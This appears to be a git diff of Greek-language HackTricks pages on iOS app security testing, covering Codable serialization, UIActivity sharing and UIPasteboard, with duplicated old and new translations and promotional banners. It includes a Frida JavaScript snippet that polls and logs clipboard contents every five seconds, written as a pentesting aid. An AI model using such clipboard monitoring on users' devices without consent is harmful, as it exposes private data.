Το πρωτόκολλο `Codable` της Swift συνδυάζει τα `Decodable` και `Encodable`, διευκολύνοντας την κωδικοποίηση και αποκωδικοποίηση αντικειμένων όπως `String`, `Int`, `Double`, κ.λπ., χωρίς επιπλέον προσπάθεια:
```swift
struct CustomPointStruct: Codable {
var x: Double
var name: String
}
```
Αυτή η προσέγγιση υποστηρίζει απλή σειριοποίηση προς και από λίστες ιδιοτήτων και JSON, βελτιώνοντας την χειρισμό δεδομένων σε εφαρμογές Swift.
Αυτή η προσέγγιση υποστηρίζει την απλή σειριοποίηση προς και από λίστες ιδιοτήτων και JSON, βελτιώνοντας τη διαχείριση δεδομένων σε εφαρμογές Swift.
## Εναλλακτικές κωδικοποίησης JSON και XML
Πέρα από την ενσωματωμένη υποστήριξη, υπάρχουν αρκετές βιβλιοθήκες τρίτων που προσφέρουν δυνατότητες κωδικοποίησης/αποκωδικοποίησης JSON και XML, με κάθε μία να έχει τα δικά της χαρακτηριστικά απόδοσης και ασφάλειας. Είναι απαραίτητο να επιλέξετε προσεκτικά αυτές τις βιβλιοθήκες, ιδιαίτερα για να αντιμετωπίσετε ευπάθειες όπως οι επιθέσεις XXE (XML External Entities) με τη ρύθμιση των αναλυτών για την αποτροπή της επεξεργασίας εξωτερικών οντοτήτων.
### Ασφαλείς σκέψεις
Όταν γίνεται σειριοποίηση δεδομένων, ιδιαίτερα προς το σύστημα αρχείων, είναι απαραίτητο να είστε προσεκτικοί για την πιθανή περιλαμβανόμενη ευαίσθητη πληροφορία. Τα σειριοποιημένα δεδομένα, αν παρακολουθηθούν ή χειριστούν εσφαλμένα, μπορούν να αποκαλύψουν τις εφαρμογές σε κινδύνους όπως μη εξουσιοδοτημένες ενέργειες ή διαρροή δεδομένων. Συνιστάται η κρυπτογράφηση και η υπογραφή των σειριοποιημένων δεδομένων για την ενίσχυση της ασφάλειας.
## Εναλλακτικές Κωδικοποίησης JSON και XML
Πέρα από την εγγενή υποστήριξη, πολλές βιβλιοθήκες τρίτων προσφέρουν δυνατότητες κωδικοποίησης/αποκωδικοποίησης JSON και XML, καθεμία με τα δικά της χαρακτηριστικά απόδοσης και ασφάλειας. Είναι επιτακτική ανάγκη να επιλέγονται προσεκτικά αυτές οι βιβλιοθήκες, ειδικά για να μετριαστούν οι ευπάθειες όπως οι επιθέσεις XXE (XML External Entities) ρυθμίζοντας τους αναλυτές ώστε να αποτρέπεται η επεξεργασία εξωτερικών οντοτήτων.
### Σκέψεις Ασφαλείας
Κατά τη σειριοποίηση δεδομένων, ειδικά στο σύστημα αρχείων, είναι ουσιώδες να είστε προσεκτικοί σχετικά με την πιθανή συμπερίληψη ευαίσθητων πληροφοριών. Τα σειριοποιημένα δεδομένα, αν παρεμποδιστούν ή χειριστούν ακατάλληλα, μπορούν να εκθέσουν τις εφαρμογές σε κινδύνους όπως μη εξουσιοδοτημένες ενέργειες ή διαρροή δεδομένων. Συνιστάται η κρυπτογράφηση και η υπογραφή των σειριοποιημένων δεδομένων για την ενίσχυση της ασφάλειας.
## Αναφορές
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,72 +1,80 @@
# iOS Διαμοιρασμός UIActivity
# iOS UIActivity Sharing
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Απλοποιημένος Διαμοιρασμός UIActivity
# UIActivity Sharing Simplified
Από το iOS 6 και μετά, οι εφαρμογές τρίτων μπορούν να **διαμοιράζονται δεδομένα** όπως κείμενο, URL ή εικόνες χρησιμοποιώντας μηχανισμούς όπως το AirDrop, όπως περιγράφεται στον [οδηγό επικοινωνίας μεταξύ εφαρμογών](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) της Apple. Αυτή η δυνατότητα εμφανίζεται μέσω ενός _φύλλου δραστηριοτήτων κοινής χρήσης_ που εμφανίζεται όταν αλληλεπιδράμετε με το κουμπί "Κοινή χρήση".
Από το iOS 6 και μετά, οι εφαρμογές τρίτων έχουν ενεργοποιηθεί να **μοιράζονται δεδομένα** όπως κείμενα, URLs ή εικόνες χρησιμοποιώντας μηχανισμούς όπως το AirDrop, όπως περιγράφεται στον οδηγό [Επικοινωνίας Μεταξύ Εφαρμογών της Apple](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Αυτή η δυνατότητα εκδηλώνεται μέσω ενός συστήματος _sheet δραστηριότητας κοινής χρήσης_ που εμφανίζεται κατά την αλληλεπίδραση με το κουμπί "Κοινή Χρήση".
Μια περιεκτική απαρίθμηση όλων των ενσωματωμένων επιλογών κοινής χρήσης είναι διαθέσιμη στο [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Οι προγραμματιστές μπορούν να επιλέξουν να αποκλείσουν συγκεκριμένες επιλογές κοινής χρήσης εάν τις θεωρούν ακατάλληλες για την εφαρμογή τους.
Μια ολοκληρωμένη απαρίθμηση όλων των ενσωματωμένων επιλογών κοινής χρήσης είναι διαθέσιμη στο [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Οι προγραμματιστές μπορούν να επιλέξουν να αποκλείσουν συγκεκριμένες επιλογές κοινής χρήσης εάν τις θεωρούν ακατάλληλες για την εφαρμογή τους.
## **Πώς να Διαμοιραστείτε Δεδομένα**
## **How to Share Data**
Η διαμοιρασμός διευκολύνεται μέσω της δημιουργίας ενός `UIActivityViewController`, στο οποίο περνιούνται τα στοιχεία που προορίζονται για κοινή χρήση. Αυτό επιτυγχάνεται καλώντας:
Πρέπει να δοθεί προσοχή σε:
- Τη φύση των δεδομένων που μοιράζονται.
- Την ένταξη προσαρμοσμένων δραστηριοτήτων.
- Τον αποκλεισμό ορισμένων τύπων δραστηριοτήτων.
Η κοινή χρήση διευκολύνεται μέσω της δημιουργίας ενός `UIActivityViewController`, στον οποίο περνιούνται τα αντικείμενα που προορίζονται για κοινή χρήση. Αυτό επιτυγχάνεται καλώντας:
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
Οι προγραμματιστές πρέπει να εξετάσουν προσεκτικά το `UIActivityViewController` για τις δραστηριότητες και τις προσαρμοσμένες δραστηριότητες που έχει αρχικοποιηθεί με αυτές, καθώς και οποιεσδήποτε καθορισμένες `excludedActivityTypes`.
Developers should scrutinize the `UIActivityViewController` for the activities and custom activities it's initialized with, as well as any specified `excludedActivityTypes`.
## **Πώς να λάβετε Δεδομένα**
## **Πώς να Λάβετε Δεδομένα**
Τα ακόλουθα στοιχεία είναι κρίσιμα κατά τη λήψη δεδομένων:
The following aspects are crucial when receiving data:
- Η δήλωση **προσαρμοσμένων τύπων εγγράφων**.
- Η καθορισμός **τύπων εγγράφων που μπορεί να ανοίξει η εφαρμογή**.
- Ο έλεγχος της **ακεραιότητας των ληφθέντων δεδομένων**.
- The declaration of **custom document types**.
- The specification of **document types the app can open**.
- The verification of the **integrity of the received data**.
Χωρίς πρόσβαση στον πηγαίο κώδικα, μπορεί κανείς να επιθεωρήσει το `Info.plist` για κλειδιά όπως `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` και `CFBundleDocumentTypes` για να κατανοήσει τους τύπους εγγράφων που μπορεί να χειριστεί μια εφαρμογή και να δηλώσει.
Without access to the source code, one can still inspect the `Info.plist` for keys like `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, and `CFBundleDocumentTypes` to understand the types of documents an app can handle and declare.
Ένας συνοπτικός οδηγός για αυτά τα κλειδιά είναι διαθέσιμος στο [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), τονίζοντας τη σημασία του καθορισμού και της εισαγωγής UTIs για την αναγνώριση σε επίπεδο συστήματος και τη συσχέτιση τύπων εγγράφων με την εφαρμογή σας για ολοκλήρωση στο διάλογο "Ανοίξτε με".
A succinct guide on these keys is available on [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), highlighting the importance of defining and importing UTIs for system-wide recognition and associating document types with your app for integration in the "Open With" dialogue.
## Δυναμική Προσέγγιση Δοκιμής
## Dynamic Testing Approach
Για να δοκιμάσετε την αποστολή δραστηριοτήτων, μπορείτε:
To test **sending activities**, one could:
- Να συνδέσετε τη μέθοδο `init(activityItems:applicationActivities:)` για να καταγράψετε τα στοιχεία και τις δραστηριότητες που κοινοποιούνται.
- Να ανιχνεύσετε αποκλεισμένες δραστηριότητες παρεμβαίνοντας στην ιδιότητα `excludedActivityTypes`.
- Hook into the `init(activityItems:applicationActivities:)` method to capture the items and activities being shared.
- Identify excluded activities by intercepting the `excludedActivityTypes` property.
Για τη λήψη στοιχείων, περιλαμβάνει:
For **receiving items**, it involves:
- Την κοινοποίηση ενός αρχείου με την εφαρμογή από άλλη πηγή (π.χ. AirDrop, email) που εμφανίζει τον διάλογο "Ανοίξτε με...".
- Τη σύνδεση της μεθόδου `application:openURL:options:` μεταξύ άλλων μεθόδων που ανιχνεύονται κατά τη στατική ανάλυση για να παρατηρήσετε την αντίδραση της εφαρμογής.
- Τη χρήση ακατάλληλων αρχείων ή τεχνικών fuzzing για να αξιολογήσετε την ανθεκτικότητα της εφαρμογής.
- Sharing a file with the app from another source (e.g., AirDrop, email) that prompts the "Open with..." dialogue.
- Hooking `application:openURL:options:` among other methods identified during static analysis to observe the app's response.
- Employing malformed files or fuzzing techniques to evaluate the app's robustness.
## Αναφορές
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,57 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Κόκκινης Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Η κοινοποίηση δεδομένων εντός και ανάμεσα σε εφαρμογές σε συσκευές iOS διευκολύνεται από τον μηχανισμό [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), ο οποίος διαιρείται σε δύο κύριες κατηγορίες:
Η κοινή χρήση δεδομένων εντός και μεταξύ εφαρμογών σε συσκευές iOS διευκολύνεται από τον μηχανισμό [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), ο οποίος χωρίζεται σε δύο κύριες κατηγορίες:
- **Γενικός πίνακας αντιγραφής σε επίπεδο συστήματος**: Χρησιμοποιείται για την κοινοποίηση δεδομένων με **οποιαδήποτε εφαρμογή** και σχεδιάστηκε για να διατηρεί δεδομένα μεταξύ επανεκκινήσεων συσκευής και απεγκαταστάσεων εφαρμογών, μια λειτουργία που είναι διαθέσιμη από το iOS 10.
- **Προσαρμοσμένοι / Ονομασμένοι πίνακες αντιγραφής**: Αυτοί είναι ειδικά για την κοινοποίηση δεδομένων **εντός μιας εφαρμογής ή με μια άλλη εφαρμογή** που μοιράζεται το ίδιο αναγνωριστικό ομάδας και δεν σχεδιάστηκαν να διατηρούνται πέρα ​​από τη διάρκεια ζωής της διαδικασίας εφαρμογής που τις δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
- **Γενικό σύστημα pasteboard**: Χρησιμοποιείται για την κοινή χρήση δεδομένων με **οποιαδήποτε εφαρμογή** και έχει σχεδιαστεί για να διατηρεί δεδομένα κατά τη διάρκεια επανεκκινήσεων της συσκευής και απεγκαταστάσεων εφαρμογών, μια δυνατότητα που είναι διαθέσιμη από το iOS 10.
- **Προσαρμοσμένα / Ονομασμένα pasteboards**: Αυτά είναι ειδικά για την κοινή χρήση δεδομένων **εντός μιας εφαρμογής ή με άλλη εφαρμογή** που μοιράζεται το ίδιο team ID, και δεν έχουν σχεδιαστεί για να διατηρούνται πέρα από τη διάρκεια της διαδικασίας εφαρμογής που τα δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
Οι **σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των πινάκων αντιγραφής. Για παράδειγμα:
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες εφαρμογών για πρόσβαση στον **πίνακα αντιγραφής**.
- Για να μειώσουν τον κίνδυνο μη εξουσιοδοτημένης παρακολούθησης του πίνακα αντιγραφής, η πρόσβαση περιορίζεται όταν η εφαρμογή βρίσκεται στο προσκήνιο (από το iOS 9).
- Η χρήση μόνιμων ονομασμένων πινάκων αντιγραφής αποτρέπεται υπέρ των κοινών δοχείων λόγω ανησυχιών απορρήτου.
- Η λειτουργία **Κοινού Προσωπικού Χώρου** που εισήχθη με το iOS 10, επιτρέποντας την κοινοποίηση περιεχομένου σε συσκευές μέσω του γενικού πίνακα αντιγραφής, μπορεί να διαχειριστεί από τους προγραμματιστές για να ορίσουν λήξη δεδομένων και να απενεργοποιήσουν την αυτόματη μεταφορά περιεχομένου.
**Σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των pasteboards. Για παράδειγμα:
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες πρόσβασης των εφαρμογών στο **pasteboard**.
- Για να μετριαστεί ο κίνδυνος μη εξουσιοδοτημένης παρακολούθησης του pasteboard στο παρασκήνιο, η πρόσβαση περιορίζεται όταν η εφαρμογή είναι στο προσκήνιο (από το iOS 9).
- Η χρήση μόνιμων ονομασμένων pasteboards αποθαρρύνεται υπέρ των κοινών containers λόγω ανησυχιών για την ιδιωτικότητα.
- Η δυνατότητα **Universal Clipboard** που εισήχθη με το iOS 10, επιτρέποντας την κοινή χρήση περιεχομένου μεταξύ συσκευών μέσω του γενικού pasteboard, μπορεί να διαχειριστεί από τους προγραμματιστές για να ορίσουν την ημερομηνία λήξης των δεδομένων και να απενεργοποιήσουν τη αυτόματη μεταφορά περιεχομένου.
Είναι κρίσιμο να διασφαλιστεί ότι τα **ευαίσθητα δεδομένα δεν αποθηκεύονται κατά λάθος** στον γενικό πίνακα αντιγραφής. Επιπλέον, οι εφαρμογές θα πρέπει να σχεδιαστούν έτσι ώστε να αποτρέπουν την κατάχρηση των δεδομένων του γενικού πίνακα αντιγραφής για μη επιθυμητες ενέργειες, και οι προγραμματιστές ενθαρρύνονται να υλοποιήσουν μέτρα για να αποτρέψουν την αντιγραφή ευαίσθητων πληροφοριών στο πρόχειρο.
Είναι κρίσιμο να διασφαλιστεί ότι **ευαίσθητες πληροφορίες δεν αποθηκεύονται κατά λάθος** στο παγκόσμιο pasteboard. Επιπλέον, οι εφαρμογές θα πρέπει να σχεδιάζονται ώστε να αποτρέπουν την κακή χρήση των δεδομένων του παγκόσμιου pasteboard για μη προγραμματισμένες ενέργειες, και οι προγραμματιστές ενθαρρύνονται να εφαρμόσουν μέτρα για να αποτρέψουν την αντιγραφή ευαίσθητων πληροφοριών στο clipboard.
### Στατική Ανάλυση
Για στατική ανάλυση, αναζητήστε τον πηγαίο κώδικα ή το δυαδικό για:
- `generalPasteboard` για την αναγνώριση της χρήσης του **γενικού πίνακα αντιγραφής σε επίπεδο συστήματος**.
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων πινάκων αντιγραφής**. Επαληθεύστε αν η διατήρηση είναι ενεργοποιημένη, αν και αυτό έχει αποσυρθεί.
Για στατική ανάλυση, αναζητήστε στον πηγαίο κώδικα ή το δυαδικό αρχείο:
- `generalPasteboard` για να προσδιορίσετε τη χρήση του **γενικού συστήματος pasteboard**.
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων pasteboards**. Ελέγξτε αν είναι ενεργοποιημένη η διατήρηση, αν και αυτό είναι αποσυρμένο.
### Δυναμική Ανάλυση
Η δυναμική ανάλυση περιλαμβάνει το hooking ή τον ιχνηλάτη συγκεκριμένων μεθόδων:
- Παρακολούθηση του `generalPasteboard` για τη χρήση σε επίπεδο συστήματος.
- Ιχνηλάτηση των `pasteboardWithName:create:` και `pasteboardWithUniqueName` για προσαρμοσμένες υλοποιήσεις.
- Παρακολούθηση των κλήσεων μεθόδων `setPersistent:` που έχουν αποσυρθεί για έλεγχο των ρυθμίσεων διατήρησης.
Η δυναμική ανάλυση περιλαμβάνει την παρακολούθηση ή την ιχνηλάτηση συγκεκριμένων μεθόδων:
- Παρακολουθήστε το `generalPasteboard` για τη χρήση σε επίπεδο συστήματος.
- Ιχνηλατήστε το `pasteboardWithName:create:` και `pasteboardWithUniqueName` για προσαρμοσμένες υλοποιήσεις.
- Παρακολουθήστε τις κλήσεις της αποσυρμένης μεθόδου `setPersistent:` για να ελέγξετε τις ρυθμίσεις διατήρησης.
Κύριες λεπτομέρειες προς παρακολούθηση περιλαμβάνουν:
- **Ονόματα πινάκων αντιγραφής** και **περιεχόμενα** (για παράδειγμα, έλεγχος για συμβολοσειρές, διευθύνσεις URL, εικόνες).
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, εκμεταλλευόμενοι ελέγχους τυπικών και προσαρμοσμένων τύπων δεδομένων.
- **Επιλογές λήξης και τοπικής μόνο** με επιθεώρηση της μεθόδου `setItems:options:`.
Κύριες λεπτομέρειες που πρέπει να παρακολουθούνται περιλαμβάνουν:
- **Ονόματα pasteboard** και **περιεχόμενα** (για παράδειγμα, έλεγχος για συμβολοσειρές, URLs, εικόνες).
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, αξιοποιώντας ελέγχους τυπικών και προσαρμοσμένων τύπων δεδομένων.
- **Επιλογές λήξης και τοπικής μόνο** ελέγχοντας τη μέθοδο `setItems:options:`.
Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης πίνακα αντιγραφής είναι το **objection's pasteboard monitor**, το οποίο ελέγχει τον generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης είναι ο **παρακολούθηση pasteboard του objection**, ο οποίος ελέγχει το generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
Εδώ υπάρχει ένα απλό παράδειγμα σεναρίου JavaScript, εμπνευσμένο από τη μέθοδο του objection, για να διαβάζει και να καταγράφει τις αλλαγές από τον πίνακα αντιγραφής κάθε 5 δευτερόλεπτα:
Ακολουθεί ένα απλό παράδειγμα σεναρίου JavaScript, εμπνευσμένο από την προσέγγιση του objection, για να διαβάσει και να καταγράψει τις αλλαγές από το pasteboard κάθε 5 δευτερόλεπτα:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -85,16 +86,17 @@ console.log(items);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
